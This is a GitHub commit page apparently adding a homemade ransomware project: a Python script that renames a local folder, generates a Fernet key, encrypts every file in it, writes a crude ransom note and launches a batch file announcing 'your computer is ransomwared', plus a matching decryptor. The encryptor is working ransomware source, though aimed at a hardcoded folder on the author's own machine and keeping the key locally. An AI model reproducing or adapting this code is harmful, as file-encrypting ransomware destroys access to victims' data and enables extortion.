-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
78 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
PENE |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
@echo Off | ||
@echo "your computer is ransomwared" | ||
@echo "JAJA NO ACEPTO DINERO MEJOR SE LEGAL" | ||
|
||
pause | ||
start batcosas1.bat "C:\Users\taocl\OneDrive\Escritorio\ransomt" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
from cryptography.fernet import Fernet | ||
import os | ||
|
||
def cargar_key(): | ||
return open('key.key', 'rb').read() | ||
|
||
def decrypt(items, key): | ||
f = Fernet(key) | ||
for item in items: | ||
with open(item, 'rb') as file: | ||
encrypted_data = file.read() | ||
decrypted_data = f.decrypt(encrypted_data) | ||
with open(item, 'wb') as file: | ||
file.write(decrypted_data) | ||
|
||
if __name__ == '__main__': | ||
path_to_encrypt = 'C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja' | ||
os.remove(path_to_encrypt+'\\'+'readme.txt') | ||
|
||
items = os.listdir(path_to_encrypt) | ||
full_path = [path_to_encrypt+'\\'+item for item in items] | ||
|
||
key = cargar_key() | ||
decrypt(full_path, key) | ||
archivo = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja" | ||
encriptadojaja = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja" | ||
archivo = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\Files" | ||
encriptadojaja = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja" | ||
|
||
os.rename(encriptadojaja, archivo) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
from cryptography.fernet import Fernet | ||
import os | ||
import subprocess | ||
archivo = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\Files" | ||
encriptadojaja = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja" | ||
|
||
os.rename(archivo, encriptadojaja) | ||
|
||
def generar_key(): | ||
key = Fernet.generate_key() | ||
with open('key.key', 'wb') as key_file: | ||
key_file.write(key) | ||
|
||
def cargar_key(): | ||
return open('key.key', 'rb').read() | ||
|
||
def encrypt(items, key): | ||
f = Fernet(key) | ||
for item in items: | ||
with open(item, 'rb') as file: | ||
file_data = file.read() | ||
encrypted_data = f.encrypt(file_data) | ||
with open(item, 'wb') as file: | ||
file.write(encrypted_data) | ||
|
||
if __name__ == '__main__': | ||
|
||
path_to_encrypt = 'C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja' | ||
items = os.listdir(path_to_encrypt) | ||
full_path = [path_to_encrypt+'\\'+item for item in items] | ||
|
||
generar_key() | ||
key = cargar_key() | ||
|
||
encrypt(full_path, key) | ||
|
||
with open(path_to_encrypt+'\\'+'readme.txt', 'w') as file: | ||
file.write('Ficheros encriptados por el TAo\n') | ||
file.write('PENE PENE PENE PENE PENE PENJ EP NE PEN EP NE PEN') | ||
|
||
subprocess.call([r'C:\Users\taocl\OneDrive\Escritorio\ransom\batcosas1.bat']) |